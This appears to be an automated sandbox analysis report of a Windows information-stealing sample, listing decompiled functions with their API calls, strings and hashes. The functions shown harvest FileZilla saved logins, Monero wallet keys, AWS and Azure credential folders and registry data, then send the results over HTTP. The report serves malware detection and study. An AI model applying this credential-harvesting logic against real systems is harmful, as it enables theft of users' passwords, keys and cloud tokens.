Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006899EC
Part of subcall function 006899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00689A11
Part of subcall function 006899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00689A31
Part of subcall function 006899C0: ReadFile.KERNEL32(000000FF,?,00000000,0068148F,00000000), ref: 00689A5A
Part of subcall function 006899C0: LocalFree.KERNEL32(0068148F), ref: 00689A90
Part of subcall function 006899C0: CloseHandle.KERNEL32(000000FF), ref: 00689A9A

Part of subcall function 00698E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00698E52

GetProcessHeap.KERNEL32(00000000,000F423F,006A0DBA,006A0DB7,006A0DB6,006A0DB3), ref: 00690362
RtlAllocateHeap.NTDLL(00000000), ref: 00690369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00690385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 00690393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006903CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 006903DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00690419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 00690427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00690463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 00690475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 00690502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 0069051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 00690532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 0069054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00690562
lstrcat.KERNEL32(?,profile: null), ref: 00690571
lstrcat.KERNEL32(?,url: ), ref: 00690580
lstrcat.KERNEL32(?,00000000), ref: 00690593
lstrcat.KERNEL32(?,006A1678), ref: 006905A2
lstrcat.KERNEL32(?,00000000), ref: 006905B5
lstrcat.KERNEL32(?,006A167C), ref: 006905C4
lstrcat.KERNEL32(?,login: ), ref: 006905D3
lstrcat.KERNEL32(?,00000000), ref: 006905E6
lstrcat.KERNEL32(?,006A1688), ref: 006905F5
lstrcat.KERNEL32(?,password: ), ref: 00690604
lstrcat.KERNEL32(?,00000000), ref: 00690617
lstrcat.KERNEL32(?,006A1698), ref: 00690626
lstrcat.KERNEL32(?,006A169C), ref: 00690635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,006A0DB2), ref: 0069068E

Strings

<Host>, xrefs: 0069037C
url: , xrefs: 00690577
profile: null, xrefs: 00690568
browser: FileZilla, xrefs: 00690559
password: , xrefs: 006905FB
<Port>, xrefs: 006903C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006902A4
<User>, xrefs: 00690410
login: , xrefs: 006905CA
<Pass encoding="base64">, xrefs: 0069045A

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 7537ce5b0826845fc8ddc56638ce3410b19098c3e793941ea2a53f1307cb8263
Instruction ID: 64120f77521b2851068dfa968744d2e22df424645012cd3a58f638fbc3506204
Opcode Fuzzy Hash: 7537ce5b0826845fc8ddc56638ce3410b19098c3e793941ea2a53f1307cb8263
Instruction Fuzzy Hash: 6BD11B72910108ABDF48FBE4DD96EEE73BEFF15300F444518F502A6491DE74AA06CBA6

Function 00685960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00684839
Part of subcall function 006847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00684849

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006859F8
StrCmpCA.SHLWAPI(?,0148E838), ref: 00685A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00685B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0148E778,00000000,?,0148A210,00000000,?,006A1A1C), ref: 00685E71
lstrlen.KERNEL32(00000000), ref: 00685E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00685E93
RtlAllocateHeap.NTDLL(00000000), ref: 00685E9A
lstrlen.KERNEL32(00000000), ref: 00685EAF
lstrlen.KERNEL32(00000000), ref: 00685ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00685EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00685F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00685F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00685F4C
InternetCloseHandle.WININET(00000000), ref: 00685FB0
InternetCloseHandle.WININET(00000000), ref: 00685FBD
HttpOpenRequestA.WININET(00000000,0148E7A8,?,0148DF30,00000000,00000000,00400100,00000000), ref: 00685BF8

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

InternetCloseHandle.WININET(00000000), ref: 00685FC7

Strings

", xrefs: 00685CD5
------, xrefs: 00685C0B
------, xrefs: 00685A96
------, xrefs: 00685D4C
", xrefs: 00685E16

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 6b55d403774e588a039e9b2a0c1232e351c85d74ce1491db9a2bed4e307aeadf
Instruction ID: a7d8e95c7f25226581ef76edf47647f08ed6f000acd598773f3e9c6be14ebbf3
Opcode Fuzzy Hash: 6b55d403774e588a039e9b2a0c1232e351c85d74ce1491db9a2bed4e307aeadf
Instruction Fuzzy Hash: D412DE71820128AADF55EBE0DD95FEEB3BEBF14700F50419DB10A62491DF702A49CFA9

Function 0068CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 00698B60: GetSystemTime.KERNEL32(006A0E1A,0148A5A0,006A05AE,?,?,006813F9,?,0000001A,006A0E1A,00000000,?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 00698B86

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0068CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0068D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0068D0CE
lstrcat.KERNEL32(?,00000000), ref: 0068D208
lstrcat.KERNEL32(?,006A1478), ref: 0068D217
lstrcat.KERNEL32(?,00000000), ref: 0068D22A
lstrcat.KERNEL32(?,006A147C), ref: 0068D239
lstrcat.KERNEL32(?,00000000), ref: 0068D24C
lstrcat.KERNEL32(?,006A1480), ref: 0068D25B
lstrcat.KERNEL32(?,00000000), ref: 0068D26E
lstrcat.KERNEL32(?,006A1484), ref: 0068D27D
lstrcat.KERNEL32(?,00000000), ref: 0068D290
lstrcat.KERNEL32(?,006A1488), ref: 0068D29F
lstrcat.KERNEL32(?,00000000), ref: 0068D2B2
lstrcat.KERNEL32(?,006A148C), ref: 0068D2C1
lstrcat.KERNEL32(?,00000000), ref: 0068D2D4
lstrcat.KERNEL32(?,006A1490), ref: 0068D2E3

Part of subcall function 0069A820: lstrlen.KERNEL32(00684F05,?,?,00684F05,006A0DDE), ref: 0069A82B
Part of subcall function 0069A820: lstrcpy.KERNEL32(006A0DDE,00000000), ref: 0069A885

lstrlen.KERNEL32(?), ref: 0068D32A
lstrlen.KERNEL32(?), ref: 0068D339

Part of subcall function 0069AA70: StrCmpCA.SHLWAPI(01488F38,0068A7A7,?,0068A7A7,01488F38), ref: 0069AA8F

DeleteFileA.KERNEL32(00000000), ref: 0068D3B4

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 978f44702931242d4c6ce66a1c3da1dd64fd7337b7f4cfd5a98d5ec27d78fb1b
Instruction ID: 12574e7745b380c10225870d657197490b867f3b85c160beed4ea34fbfba2b52
Opcode Fuzzy Hash: 978f44702931242d4c6ce66a1c3da1dd64fd7337b7f4cfd5a98d5ec27d78fb1b
Instruction Fuzzy Hash: 8DE12B71910118ABCF48FBE0DD96EEE73BEBF14304F104159F506A6491DE35AE06CBAA

Function 0068C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0148D518,00000000,?,006A144C,00000000,?,?), ref: 0068CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0068CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0068CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0068CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0068CAD9
StrStrA.SHLWAPI(?,0148D428,006A0B52), ref: 0068CAF7
StrStrA.SHLWAPI(00000000,0148D548), ref: 0068CB1E
StrStrA.SHLWAPI(?,0148DC40,00000000,?,006A1458,00000000,?,00000000,00000000,?,014890D8,00000000,?,006A1454,00000000,?), ref: 0068CCA2
StrStrA.SHLWAPI(00000000,0148DC80), ref: 0068CCB9

Part of subcall function 0068C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0068C871
Part of subcall function 0068C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0068C87C

StrStrA.SHLWAPI(?,0148DC80,00000000,?,006A145C,00000000,?,00000000,01488FD8), ref: 0068CD5A
StrStrA.SHLWAPI(00000000,014891E8), ref: 0068CD71

Part of subcall function 0068C820: lstrcat.KERNEL32(?,006A0B46), ref: 0068C943
Part of subcall function 0068C820: lstrcat.KERNEL32(?,006A0B47), ref: 0068C957
Part of subcall function 0068C820: lstrcat.KERNEL32(?,006A0B4E), ref: 0068C978

lstrlen.KERNEL32(00000000), ref: 0068CE44
CloseHandle.KERNEL32(00000000), ref: 0068CE9C

Strings

, xrefs: 0068C9C6

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: f55cfe7b5c3bf3d7eb6bdbad712b667ebfd574a1ca8a285bb02fae05a1e58f47
Instruction ID: c99e1035301b9a48f9c303504991da4a1e1476a82cefe49162620682c6ed5989
Opcode Fuzzy Hash: f55cfe7b5c3bf3d7eb6bdbad712b667ebfd574a1ca8a285bb02fae05a1e58f47
Instruction Fuzzy Hash: ABE1EA71910108ABDF58EBE4DD95EEEB7BEBF14300F00415DF10666591EF306A4ACBAA

Function 00698320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

RegOpenKeyExA.ADVAPI32(00000000,0148B688,00000000,00020019,00000000,006A05B6), ref: 006983A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00698426
wsprintfA.USER32 ref: 00698459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0069847B
RegCloseKey.ADVAPI32(00000000), ref: 0069848C
RegCloseKey.ADVAPI32(00000000), ref: 00698499

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Strings

%s\%s, xrefs: 0069844D
- , xrefs: 006985A3
?, xrefs: 0069837A

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 82fbc7d00bd7dc164c9c02791cf7797ef0c3f761ecbacee7249462cca7be2276
Instruction ID: efcb057fe12393bff11fbfda853cf81b0561d7ec0854b53f26817e1981f2d8a9
Opcode Fuzzy Hash: 82fbc7d00bd7dc164c9c02791cf7797ef0c3f761ecbacee7249462cca7be2276
Instruction Fuzzy Hash: 6F81197191011CABEB68DB90CD95FEAB7BDBF08704F008298E109A6580DF716A85CFE5

Function 00694D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00698DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00698E0B

lstrcat.KERNEL32(?,00000000), ref: 00694DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00694DCD

Part of subcall function 00694910: wsprintfA.USER32 ref: 0069492C
Part of subcall function 00694910: FindFirstFileA.KERNEL32(?,?), ref: 00694943

lstrcat.KERNEL32(?,00000000), ref: 00694E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00694E59

Part of subcall function 00694910: StrCmpCA.SHLWAPI(?,006A0FDC), ref: 00694971
Part of subcall function 00694910: StrCmpCA.SHLWAPI(?,006A0FE0), ref: 00694987
Part of subcall function 00694910: FindNextFileA.KERNEL32(000000FF,?), ref: 00694B7D
Part of subcall function 00694910: FindClose.KERNEL32(000000FF), ref: 00694B92

lstrcat.KERNEL32(?,00000000), ref: 00694EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00694EE5

Part of subcall function 00694910: wsprintfA.USER32 ref: 006949B0
Part of subcall function 00694910: StrCmpCA.SHLWAPI(?,006A08D2), ref: 006949C5
Part of subcall function 00694910: wsprintfA.USER32 ref: 006949E2
Part of subcall function 00694910: PathMatchSpecA.SHLWAPI(?,?), ref: 00694A1E
Part of subcall function 00694910: lstrcat.KERNEL32(?,0148E848), ref: 00694A4A
Part of subcall function 00694910: lstrcat.KERNEL32(?,006A0FF8), ref: 00694A5C
Part of subcall function 00694910: lstrcat.KERNEL32(?,?), ref: 00694A70
Part of subcall function 00694910: lstrcat.KERNEL32(?,006A0FFC), ref: 00694A82
Part of subcall function 00694910: lstrcat.KERNEL32(?,?), ref: 00694A96
Part of subcall function 00694910: CopyFileA.KERNEL32(?,?,00000001), ref: 00694AAC
Part of subcall function 00694910: DeleteFileA.KERNEL32(?), ref: 00694B31

Strings

\.azure\, xrefs: 00694DC1
Azure\.aws, xrefs: 00694E5F
\.aws\, xrefs: 00694E4D
Azure\.azure, xrefs: 00694DD3
Azure\.IdentityService, xrefs: 00694EEB
\.IdentityService\, xrefs: 00694ED9
*.*, xrefs: 00694E64
*.*, xrefs: 00694DD8
msal.cache, xrefs: 00694EF0

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: bb1abda554bb3f8d55e61348c9bae2b12601787974ef8617ab3b5a5f3a2a99a7
Instruction ID: 94bf933d4352a251013be64099ce894169a574c2b749c7475c12795c5853ca1c
Opcode Fuzzy Hash: bb1abda554bb3f8d55e61348c9bae2b12601787974ef8617ab3b5a5f3a2a99a7
Instruction Fuzzy Hash: 5B41A3BA94021867DB54F770EC47FED733EAB26704F004498B645A60C2EEB45BC98B92

Function 00699010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0069906C

Strings

image/jpeg, xrefs: 00699136

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
